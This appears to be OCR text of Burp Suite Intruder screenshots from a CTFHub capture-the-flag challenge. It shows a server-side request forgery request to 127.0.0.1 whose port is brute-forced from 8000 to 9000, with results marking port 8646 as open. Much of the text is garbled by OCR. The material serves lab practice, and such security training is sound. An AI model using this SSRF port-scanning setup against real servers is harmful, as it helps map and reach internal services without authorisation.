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@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which p
details.

Attack type: | Sniper

GET /?url=127.0.0.1:§8000§| HTTP/1.1

Host: challenge-bb4e4e995f03b249.sandbox.ctfhub.com:10800

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, 1:
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, *,
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: UM distinctid=17877965£f991088-09f041fb1563f1-6718207c-13¢c680-17877965f9%alldc

10 Connection: close
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wEUNT Payload:

@ Payload Sets

You can define one or more payload sets. The number of payload sets di
type can be customized in different ways.
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Payload set: ‘ 1

Payload type: ‘ Numbers

v ’

v ’

Payload Options [Numbers]

Payload count: 1,001

Request count: 1,001

This payload type generates numeric payloads within a given range and i

Number range

Type: O Sequential Random

From: 8000

To: 9000

Step: 1

How many:
R R K E, REF flag:

Results Target Positions Payloads Resource Pool Options
Filter: Showing all items
Request Payload Status Error Timeout Length
968 8967 503 798
974 8973 503 798
647 8646 200 360
4 8003 200 327
0 200 327
O ® Result 647 | Intruder attack
Jayload: 8646
Status: 200
-ength: 360
limer: 40
Request Response




w Raw Hender \n  Actions *

HTTP/1.1 200 OK

Server: openresty/1.15.8.2

Date: Thu, 01 Jul 2021 07:24:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

X-Powered-By: PHP/5.6.40

Tips: Port = [8000,9000)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
Content-Length: 32
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